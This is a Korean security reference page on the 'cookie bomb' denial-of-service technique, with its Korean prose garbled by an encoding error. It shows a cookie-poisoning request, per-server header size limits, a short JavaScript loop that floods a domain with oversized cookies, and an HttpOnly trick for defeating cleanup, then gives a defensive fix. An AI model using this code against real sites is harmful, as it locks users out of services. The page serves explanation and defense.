๐ Introduction
Cookie bomb์ ๋น์ ์์ ์ผ๋ก ํฐ ์ฟ ํค ๊ฐ์ ์ด์ฉํด์ DOS๋ฅผ ์ ๋ํ๋ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ๊ฐ์ฉ์ฑ์ ์นจํดํ๋ DOS ๊ณต๊ฒฉ์ด ์ฃผ๋ฅผ ์ด๋ฃจ๋ฉฐ, ์ด์ธ์๋ ๋ค๋ฅธ ์ทจ์ฝ์ ๊ณผ Chain attack ํํ๋ก ์ฌ์ฉ๋ ๊ฐ๋ฅ์ฑ์ด ์กด์ฌํฉ๋๋ค.
์ผ๋ฐ์ ์ผ๋ก HTTP Request์ ํค๋๊ฐ์ด ํฐ ๊ฒฝ์ฐ ์๋น์ค์์ 413 Request Entity Too Large ๋๋ 400 Bad Request ๋ฑ์ ์๋ฌ๋ฅผ ๋ฐํํ๊ฒ ๋ฉ๋๋ค. ์ด๋ฌํ ์๋ฌ๋ฅผ ์ ๋ํ ์ ์๋ ํค๋์๋ ๋ํ์ ์ผ๋ก Cookie ํค๋๊ฐ ์์ผ๋ฉฐ, File cookie์ ๋๋์ ๋ฐ์ดํฐ๊ฐ ์ฝ์ ๋ ๊ฒฝ์ฐ ํด๋น ์ฟ ํค๋ฅผ ์ด๊ธฐํ ํ์ง ์๋ ์ด์ ๋ชจ๋ ์์ฒญ์์ 413, 400 ์๋ฌ๋ฑ์ด ๋ฐ์ํ ์ ์์ต๋๋ค.
๐ก Offensive techniques
Detect
์๋น์ค์์ ์ฟ ํค๋ฅผ ์ค์ ํ ์ ์๋ ํฌ์ธํธ ํ์ํฉ๋๋ค. ๊ฐ์ฅ ๊ฐ๋จํ๊ฒ๋ XSS ๊ทธ๋ฆฌ๊ณ Cookie poisoning์ด ์์ต๋๋ค. ์ด๋ ๊ฒ ์์ ์ฟ ํค๋ฅผ ์ฌ์ฉ์์๊ฒ ์ธํ ํ ์ ์๋ ๋ถ๋ถ์ด ์๋ค๋ฉด Cookie bomb attack์ ์ฑ๊ณตํ ๊ฐ๋ฅ์ฑ์ด ์กด์ฌํ๊ฒ ๋ฉ๋๋ค.
e.g (cookie poisoning)
GET /info?locale=KR999 HTTP/1.1
HTTP/1.1 200 OK
Set-Cookie: localeCookie=KR999;
Exploitation
์น ์๋ฒ๋ค์ ์๋์ ๊ฐ์ ์ฌ์ด์ฆ์ ํค๋ ์์ฒญ์ด ์๋ ๊ฒฝ์ฐ ์๋ฌ๋ฅผ ์์ฑํฉ๋๋ค.
Server | Size |
---|---|
Nginx | 4KB - 8KB |
Apache | 8KB |
Tomcat | 8KB - 48KB |
IIS | 8KB - 16KB |
ํด๋น ๋ฐ์ดํฐ ๋ณด๋ค ํฐ ์ฟ ํค๊ฐ์ ์ธํ ํ๋ฉด ํด๋น ํ์ผ ์ฟ ํค๋ฅผ ์ญ์ ํ์ง ์๋ ์ด์ ๋งค๋ฒ ์ ๊ทผ ์ ์๋ฌ ๋ฉ์์ง๊ฐ ๋ฐ์ํ์ฌ ์ ์์ ์ผ๋ก ์๋น์ค๋ฅผ ์ด์ฉํ ์ ์๊ฒ ๋ฉ๋๋ค.
Set-Cookie
HTTP/1.1 200 OK
Set-Cookie: localeCookie=aaaaaaaaa------big-size---------bbvbbbb;
With Javascript
var base_domain = "example.com";
var pollution = Array(4000).join('a');
for(var i=0;i<100;i++){
document.cookie='bomb'+i+'='+pollution+';domain='+base_domain;
}
Bypass protection
ํด๋น ๊ณต๊ฒฉ์ ๋์๋ฐฉ์์ธ ์ฟ ํค์ ๋ณด ์ด๊ธฐํ๋ฅผ Javascript ๋จ์์ ์ฒ๋ฆฌํ๋ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ด JS์์ ์ปจํธ๋กค ํ ์ ์๋๋ก HttpOnly ์์ฑ์ ์ฃผ์ด ๋ณดํธ ๋ก์ง์ ์ฐํํ ์ ์์ต๋๋ค.
HTTP/1.1 200 OK
Set-Cookie: localeCookie=aaaaaaaaa------big-size---------bbvbbbb; HttpOnly;
๐ก Defensive techniques
๋น ์ ์์ ์ธ ์ฟ ํค ์์ฒญ์ด ์๋ ๊ฒฝ์ฐ ๋ฌด์กฐ๊ฑด ์๋ฌ๋ก ์ฒ๋ฆฌํ๋ ๊ฒ์ด ์๋ ์ปค์คํ ์๋ฌ ํ์ด์ง์์ Set-Cookie๋ก ํด๋น ์ฟ ํค์ expire ๋ฑ์ ์กฐ์ ํ์ฌ ์ฟ ํค๋ฅผ ์ด๊ธฐํํ๋ ๊ฒ์ด ๊ฐ์ฅ ์ข์ต๋๋ค.
๐ References
- https://blog.rubiya.kr/index.php/2020/10/02/cookie-bomb/
- https://hitcon.org/2019/CMT/slide-files/d1_s3_r0.pdf